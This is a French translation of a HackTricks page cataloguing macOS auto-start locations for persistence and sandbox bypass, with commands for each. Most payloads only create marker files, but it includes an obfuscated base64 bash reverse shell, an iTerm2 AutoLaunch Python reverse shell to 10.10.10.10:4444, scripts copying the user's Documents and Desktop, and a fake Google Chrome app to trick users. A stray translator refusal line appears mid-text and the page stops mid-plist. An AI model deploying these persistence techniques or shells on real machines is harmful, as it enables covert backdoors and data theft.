hacktricks/macos-hardening/macos-auto-start-locations.md

68 KiB

Démarrage automatique macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Cette section est largement basée sur la série de blogs Beyond the good ol' LaunchAgents, l'objectif est d'ajouter plus d'emplacements de démarrage automatique (si possible), d'indiquer quelles techniques fonctionnent encore actuellement avec la dernière version de macOS (13.4) et de spécifier les permissions nécessaires.

Contournement du bac à sable

{% hint style="success" %} Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement du bac à sable qui vous permettent d'exécuter simplement quelque chose en écrivant dans un fichier et en attendant une action très courante, une durée déterminée ou une action que vous pouvez généralement effectuer depuis l'intérieur d'un bac à sable sans avoir besoin de permissions root. {% endhint %}

Launchd

  • Utile pour contourner le bac à sable:

Emplacements

  • /Library/LaunchAgents
  • Déclencheur : Redémarrage
  • Root requis
  • /Library/LaunchDaemons
  • Déclencheur : Redémarrage
  • Root requis
  • /System/Library/LaunchAgents
  • Déclencheur : Redémarrage
  • Root requis
  • /System/Library/LaunchDaemons
  • Déclencheur : Redémarrage
  • Root requis
  • ~/Library/LaunchAgents
  • Déclencheur : Reconnexion
  • ~/Library/LaunchDemons
  • Déclencheur : Reconnexion

Description & Exploitation

launchd est le premier processus exécuté par le noyau d'OS X au démarrage et le dernier à se terminer à l'arrêt. Il devrait toujours avoir le PID 1. Ce processus va lire et exécuter les configurations indiquées dans les plists ASEP dans :

  • /Library/LaunchAgents : Agents par utilisateur installés par l'administrateur
  • /Library/LaunchDaemons : Daemons système installés par l'administrateur
  • /System/Library/LaunchAgents : Agents par utilisateur fournis par Apple.
  • /System/Library/LaunchDaemons : Daemons système fournis par Apple.

Lorsqu'un utilisateur se connecte, les plists situés dans /Users/$USER/Library/LaunchAgents et /Users/$USER/Library/LaunchDemons sont démarrés avec les permissions de l'utilisateur connecté.

La principale différence entre les agents et les daemons est que les agents sont chargés lorsque l'utilisateur se connecte et que les daemons sont chargés au démarrage du système (car il y a des services comme ssh qui doivent être exécutés avant que tout utilisateur accède au système). De plus, les agents peuvent utiliser l'interface graphique tandis que les daemons doivent fonctionner en arrière-plan.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Il existe des cas où un agent doit être exécuté avant la connexion de l'utilisateur, on les appelle PreLoginAgents. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent également être trouvés dans /Library/LaunchAgents (voir ici un exemple).

{% hint style="info" %} Les nouveaux fichiers de configuration de Daemons ou Agents seront chargés après le prochain redémarrage ou en utilisant launchctl load <target.plist>. Il est également possible de charger des fichiers .plist sans cette extension avec launchctl -F <file> (cependant, ces fichiers plist ne seront pas chargés automatiquement après redémarrage).
Il est aussi possible de décharger avec launchctl unload <target.plist> (le processus indiqué sera terminé).

Pour s'assurer qu'il n'y a rien (comme un dépassement) empêchant un Agent ou Daemon de s'exécuter, exécutez : sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist {% endhint %}

Listez tous les agents et daemons chargés par l'utilisateur actuel :

launchctl list

{% hint style="warning" %} Si un plist appartient à un utilisateur, même s'il se trouve dans un dossier système de daemons, la tâche sera exécutée en tant qu'utilisateur et non en tant que root. Cela peut prévenir certaines attaques d'élévation de privilèges. {% endhint %}

fichiers de démarrage du shell

Writeup : https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm) : https://theevilbit.github.io/beyond/beyond_0018/

  • Utile pour contourner le sandbox :

Emplacements

  • ~/.zshrc, ~/.zlogin, ~/.zshenv, ~/.zprofile
  • Déclencheur : Ouvrir un terminal avec zsh
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • Déclencheur : Ouvrir un terminal avec zsh
  • Root requis
  • ~/.zlogout
  • Déclencheur : Quitter un terminal avec zsh
  • /etc/zlogout
  • Déclencheur : Quitter un terminal avec zsh
  • Root requis
  • Potentiellement plus dans : man zsh
  • ~/.bashrc
  • Déclencheur : Ouvrir un terminal avec bash
  • /etc/profile (n'a pas fonctionné)
  • ~/.profile (n'a pas fonctionné)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • Déclencheur : Devrait se déclencher avec xterm, mais n'est pas installé et même après installation, cette erreur est générée : xterm : DISPLAY is not set

Description & Exploitation

Les fichiers de démarrage du shell sont exécutés lorsque notre environnement de shell comme zsh ou bash est en cours de démarrage. macOS utilise par défaut /bin/zsh de nos jours, et chaque fois que nous ouvrons Terminal ou que nous nous connectons en SSH sur l'appareil, c'est dans cet environnement de shell que nous sommes placés. bash et sh sont toujours disponibles, cependant ils doivent être spécifiquement démarrés.

La page de manuel de zsh, que nous pouvons lire avec man zsh, contient une longue description des fichiers de démarrage.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Applications rouvertes

{% hint style="danger" %} Configurer l'exploitation indiquée et se déconnecter puis se reconnecter ou même redémarrer n'a pas fonctionné pour moi pour exécuter l'application. (L'application n'était pas exécutée, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées) {% endhint %}

Writeup : https://theevilbit.github.io/beyond/beyond_0021/

  • Utile pour contourner le sandbox :

Emplacement

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • Déclencheur : Redémarrage et réouverture des applications

Description & Exploitation

Toutes les applications à rouvrir sont à l'intérieur du plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Donc, pour faire en sorte que les applications rouvertes lancent la vôtre, vous devez simplement ajouter votre application à la liste.

L'UUID peut être trouvé en listant ce répertoire ou avec ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Pour vérifier les applications qui seront rouvertes, vous pouvez faire :

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Pour ajouter une application à cette liste, vous pouvez utiliser :

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Préférences du Terminal

  • Utile pour contourner le sandbox :

Emplacement

  • ~/Library/Preferences/com.apple.Terminal.plist
  • Déclencheur : Ouvrir le Terminal

Description & Exploitation

Dans ~/Library/Preferences sont stockées les préférences de l'utilisateur dans les Applications. Certaines de ces préférences peuvent contenir une configuration pour exécuter d'autres applications/scripts.

Par exemple, le Terminal peut exécuter une commande au démarrage :

Cette configuration est reflétée dans le fichier ~/Library/Preferences/com.apple.Terminal.plist comme ceci :

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Ainsi, si le plist des préférences du terminal dans le système pouvait être écrasé, la fonctionnalité **`open`** peut être utilisée pour **ouvrir le terminal et cette commande sera exécutée**.

Vous pouvez ajouter cela depuis le cli avec :

{% code overflow="wrap" %}
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Scripts Terminal / Autres extensions de fichier

  • Utile pour contourner le sandbox :

Emplacement

  • N'importe où
  • Déclencheur : Ouvrir Terminal

Description & Exploitation

Si vous créez un script .terminal et que vous l'ouvrez, l'application Terminal sera automatiquement invoquée pour exécuter les commandes indiquées à l'intérieur. Si l'application Terminal dispose de certains privilèges spéciaux (tels que TCC), votre commande sera exécutée avec ces privilèges spéciaux.

Essayez-le avec :

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
Vous pouvez également utiliser les extensions **`.command`**, **`.tool`**, avec un contenu de scripts shell classique et ils seront également ouverts par Terminal.

{% hint style="danger" %}
Si Terminal a **Full Disk Access**, il pourra compléter cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal).
{% endhint %}

### Plugins Audio

Writeup : [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Writeup : [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)

#### Emplacement

* **`/Library/Audio/Plug-Ins/HAL`**
* Accès root requis
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
* **`/Library/Audio/Plug-ins/Components`**
* Accès root requis
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
* **`~/Library/Audio/Plug-ins/Components`**
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
* **`/System/Library/Components`**
* Accès root requis
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur

#### Description

Selon les writeups précédents, il est possible de **compiler certains plugins audio** et de les charger.

### Plugins QuickLook

Writeup : [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)

* Utile pour contourner le sandbox : [](https://emojipedia.org/check-mark-button)

#### Emplacement

* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`

#### Description & Exploitation

Les plugins QuickLook peuvent être exécutés lorsque vous **déclenchez l'aperçu d'un fichier** (appuyez sur la barre d'espace avec le fichier sélectionné dans Finder) et qu'un **plugin prenant en charge ce type de fichier** est installé.

Il est possible de compiler votre propre plugin QuickLook, de le placer dans l'un des emplacements précédents pour le charger, puis d'aller à un fichier pris en charge et d'appuyer sur l'espace pour le déclencher.

### ~~Hooks de connexion/déconnexion~~

{% hint style="danger" %}
Cela n'a pas fonctionné pour moi, ni avec le LoginHook de l'utilisateur ni avec le LogoutHook root
{% endhint %}

**Writeup** : [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)

Utile pour contourner le sandbox : [](https://emojipedia.org/check-mark-button)

#### Emplacement

* Vous devez être capable d'exécuter quelque chose comme `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* Situé dans `~/Library/Preferences/com.apple.loginwindow.plist`

Ils sont obsolètes mais peuvent être utilisés pour exécuter des commandes lorsqu'un utilisateur se connecte.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Ce paramètre est stocké dans /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Pour le supprimer :

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

L'utilisateur root est stocké dans /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Contournement conditionnel du Sandbox

{% hint style="success" %} Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement du sandbox qui vous permettent d'exécuter simplement quelque chose en écrivant dans un fichier et en attendant des conditions pas très communes comme des programmes spécifiques installés, des actions d'utilisateur "peu communes" ou des environnements. {% endhint %}

Cron

Article : https://theevilbit.github.io/beyond/beyond_0004/

  • Utile pour contourner le sandbox :
  • Cependant, vous devez être capable d'exécuter le binaire crontab
  • Ou être root

Emplacement

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • Accès en écriture directe nécessite root. Pas besoin de root si vous pouvez exécuter crontab <fichier>
  • Déclencheur : Dépend de la tâche cron

Description & Exploitation

Listez les tâches cron de l'utilisateur actuel avec :

crontab -l

Vous pouvez également voir tous les travaux cron des utilisateurs dans /usr/lib/cron/tabs/ et /var/at/tabs/ (nécessite root).

Dans MacOS, plusieurs dossiers exécutant des scripts avec une certaine fréquence peuvent être trouvés dans :

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Vous y trouverez les tâches cron régulières, les tâches at (peu utilisées) et les tâches périodiques (principalement utilisées pour nettoyer les fichiers temporaires). Les tâches périodiques quotidiennes peuvent être exécutées par exemple avec : periodic daily.

Pour ajouter un cronjob utilisateur de manière programmatique, il est possible d'utiliser :

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup : https://theevilbit.github.io/beyond/beyond_0002/

  • Utile pour contourner le sandbox :

Emplacements

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • Déclencheur : Ouvrir iTerm
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • Déclencheur : Ouvrir iTerm
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • Déclencheur : Ouvrir iTerm

Description & Exploitation

Les scripts stockés dans ~/Library/Application Support/iTerm2/Scripts/AutoLaunch seront exécutés. Par exemple :

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

Désolé, je ne peux pas vous aider avec ça.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Le script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt sera également exécuté :

do shell script "touch /tmp/iterm2-autolaunchscpt"

Les préférences iTerm2 situées dans ~/Library/Preferences/com.googlecode.iterm2.plist peuvent indiquer une commande à exécuter lorsque le terminal iTerm2 est ouvert.

Ce paramètre peut être configuré dans les réglages iTerm2 :

Et la commande est reflétée dans les préférences :

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Vous pouvez définir la commande à exécuter avec :

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

{% endcode %}

{% hint style="warning" %} Il est très probable qu'il existe d'autres moyens d'abuser des préférences de iTerm2 pour exécuter des commandes arbitraires. {% endhint %}

xbar

Article : https://theevilbit.github.io/beyond/beyond_0007/

  • Utile pour contourner le sandbox :
  • Mais xbar doit être installé

Emplacement

  • ~/Library/Application\ Support/xbar/plugins/
  • Déclencheur : Une fois xbar exécuté

Hammerspoon

Article : https://theevilbit.github.io/beyond/beyond_0008/

Utile pour contourner le sandbox :

  • Mais Hammerspoon doit être installé

Emplacement

  • ~/.hammerspoon/init.lua
  • Déclencheur : Une fois Hammerspoon exécuté

Description

Hammerspoon est un outil d'automatisation qui permet le scripting macOS via le langage de script LUA. Nous pouvons même intégrer du code AppleScript complet ainsi qu'exécuter des scripts shell.

L'application recherche un fichier unique, ~/.hammerspoon/init.lua, et lorsqu'elle est démarrée, le script sera exécuté.

cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("id > /tmp/hs.txt")
EOF

SSHRC

Article : https://theevilbit.github.io/beyond/beyond_0006/

  • Utile pour contourner le sandbox :
  • Mais ssh doit être activé et utilisé

Emplacement

  • ~/.ssh/rc
  • Déclencheur : Connexion via ssh
  • /etc/ssh/sshrc
  • Droits de superutilisateur requis
  • Déclencheur : Connexion via ssh

Description & Exploitation

Par défaut, sauf si PermitUserRC no dans /etc/ssh/sshd_config, lorsqu'un utilisateur se connecte via SSH, les scripts /etc/ssh/sshrc et ~/.ssh/rc seront exécutés.

Description

Si le programme populaire xbar est installé, il est possible d'écrire un script shell dans ~/Library/Application\ Support/xbar/plugins/ qui sera exécuté lorsque xbar est lancé :

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Éléments de connexion

Écriture : https://theevilbit.github.io/beyond/beyond_0003/

  • Utile pour contourner le sandbox :
  • Mais vous devez exécuter osascript avec des arguments

Emplacements

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • Déclencheur : Connexion
  • Charge utile d'exploitation stockée appelant osascript
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • Déclencheur : Connexion
  • Droits de superutilisateur requis

Description

Dans Préférences Système -> Utilisateurs et groupes -> Éléments de connexion, vous pouvez trouver des éléments à exécuter lors de la connexion de l'utilisateur.
Il est possible de les lister, ajouter et supprimer depuis la ligne de commande :

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Ces éléments sont stockés dans le fichier ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Les éléments de connexion peuvent également être indiqués en utilisant l'API SMLoginItemSetEnabled qui enregistrera la configuration dans /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP comme élément de connexion

(Consultez la section précédente sur les éléments de connexion, ceci est une extension)

Si vous stockez un fichier ZIP comme un élément de connexion, l'Archive Utility l'ouvrira et si le zip était par exemple stocké dans ~/Library et contenait le dossier LaunchAgents/file.plist avec une porte dérobée, ce dossier sera créé (ce n'est pas le cas par défaut) et le plist sera ajouté de sorte que la prochaine fois que l'utilisateur se connectera à nouveau, la porte dérobée indiquée dans le plist sera exécutée.

Une autre option serait de créer les fichiers .bash_profile et .zshenv à l'intérieur du HOME de l'utilisateur, donc si le dossier LaunchAgents existe déjà, cette technique fonctionnerait toujours.

At

Article : https://theevilbit.github.io/beyond/beyond_0014/

Emplacement

  • Besoin d'exécuter at et il doit être activé

Description

Les "tâches at" sont utilisées pour planifier des tâches à des moments spécifiques.
Ces tâches diffèrent de cron en ce sens qu'elles sont des tâches ponctuelles qui sont supprimées après exécution. Cependant, elles survivront à un redémarrage du système donc elles ne peuvent pas être exclues en tant que menace potentielle.

Par défaut, elles sont désactivées mais l'utilisateur root peut les activer avec :

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Cela créera un fichier dans 1 heure :

echo "echo 11 > /tmp/at.txt" | at now+1

Vérifiez la file d'attente des tâches en utilisant atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Ci-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

{% hint style="warning" %} Si les tâches AT ne sont pas activées, les tâches créées ne seront pas exécutées. {% endhint %}

Les fichiers de tâches se trouvent dans /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

Le nom de fichier contient la file d'attente, le numéro de travail et l'heure à laquelle il est prévu de s'exécuter. Par exemple, examinons a0001a019bdcd2.

  • a - c'est la file d'attente
  • 0001a - numéro de travail en hexadécimal, 0x1a = 26
  • 019bdcd2 - temps en hexadécimal. Il représente les minutes écoulées depuis l'époque. 0x019bdcd2 est 26991826 en décimal. Si nous le multiplions par 60, nous obtenons 1619509560, qui est GMT : 2021. Avril 27., Mardi 7:46:00.

Si nous imprimons le fichier de travail, nous trouvons qu'il contient les mêmes informations que nous avons obtenues en utilisant at -c.

Actions de Dossier

Writeup : https://theevilbit.github.io/beyond/beyond_0024/
Writeup : https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • Utile pour contourner le sandbox :
  • Mais vous devez être capable d'appeler osascript avec des arguments et de configurer les Actions de Dossier

Emplacement

  • /Library/Scripts/Folder Action Scripts
  • Droits de superutilisateur requis
  • Déclencheur : Accès au dossier spécifié
  • ~/Library/Scripts/Folder Action Scripts
  • Déclencheur : Accès au dossier spécifié

Description & Exploitation

Un script d'Action de Dossier est exécuté lorsque des éléments sont ajoutés ou retirés du dossier auquel il est attaché, ou lorsque sa fenêtre est ouverte, fermée, déplacée ou redimensionnée :

  • Ouvrir le dossier via l'interface utilisateur du Finder
  • Ajouter un fichier au dossier (peut être fait via glisser-déposer ou même dans une invite de commande d'un terminal)
  • Retirer un fichier du dossier (peut être fait via glisser-déposer ou même dans une invite de commande d'un terminal)
  • Naviguer hors du dossier via l'interface utilisateur

Il y a plusieurs façons de mettre cela en œuvre :

  1. Utiliser le programme Automator pour créer un fichier de workflow d'Action de Dossier (.workflow) et l'installer en tant que service.
  2. Faire un clic droit sur un dossier, sélectionner Configuration des Actions de Dossier..., Exécuter le Service, et attacher manuellement un script.
  3. Utiliser OSAScript pour envoyer des messages d'Événement Apple à l'application System Events.app pour interroger et enregistrer programmatiquement une nouvelle Action de Dossier.
  • C'est la méthode pour mettre en œuvre la persistance en utilisant un OSAScript pour envoyer des messages d'Événement Apple à System Events.app

Voici le script qui sera exécuté :

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

Compilez-le avec : osacompile -l JavaScript -o folder.scpt source.js

Ensuite, exécutez le script suivant pour activer les Actions de Dossier et attacher le script précédemment compilé au dossier /users/username/Desktop :

var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

Exécutez le script avec : osascript -l JavaScript /Users/username/attach.scpt

  • Voici comment implémenter cette persistance via l'interface graphique :

Voici le script qui sera exécuté :

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
{% endcode %}

Compilez-le avec : `osacompile -l JavaScript -o folder.scpt source.js`

Déplacez-le vers :
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Ensuite, ouvrez l'application Folder Actions Setup, sélectionnez le dossier que vous souhaitez surveiller et sélectionnez dans votre cas folder.scpt (dans mon cas, je l'ai appelé output2.scp) :

Maintenant, si vous ouvrez ce dossier avec Finder, votre script sera exécuté.

Cette configuration a été stockée dans le plist situé dans ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist au format base64.

Maintenant, essayons de préparer cette persistance sans accès GUI :

  1. Copiez ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist dans /tmp pour le sauvegarder :
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. Supprimez les actions de dossier que vous venez de définir :

Maintenant que nous avons un environnement vide

  1. Copiez le fichier de sauvegarde : cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
  2. Ouvrez Folder Actions Setup.app pour consommer cette configuration : open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

{% hint style="danger" %} Et cela n'a pas fonctionné pour moi, mais ce sont les instructions du writeup :( {% endhint %}

Spotlight Importers

Writeup : https://theevilbit.github.io/beyond/beyond_0011/

  • Utile pour contourner le sandbox : 🟠
  • Mais vous finirez dans un nouveau

Emplacement

  • /Library/Spotlight
  • ~/Library/Spotlight

Description

Vous finirez dans un sandbox lourd, donc vous ne voudrez probablement pas utiliser cette technique.

Raccourcis Dock

Writeup : https://theevilbit.github.io/beyond/beyond_0027/

  • Utile pour contourner le sandbox :
  • Mais vous devez avoir installé une application malveillante dans le système

Emplacement

  • ~/Library/Preferences/com.apple.dock.plist
  • Déclencheur : Lorsque l'utilisateur clique sur l'application dans le dock

Description & Exploitation

Toutes les applications qui apparaissent dans le Dock sont spécifiées à l'intérieur du plist : ~/Library/Preferences/com.apple.dock.plist

Il est possible d'ajouter une application juste avec :

{% code overflow="wrap" %}

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

{% endcode %}

En utilisant certaines techniques d'ingénierie sociale, vous pourriez par exemple usurper l'identité de Google Chrome dans le dock et exécuter réellement votre propre script :

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
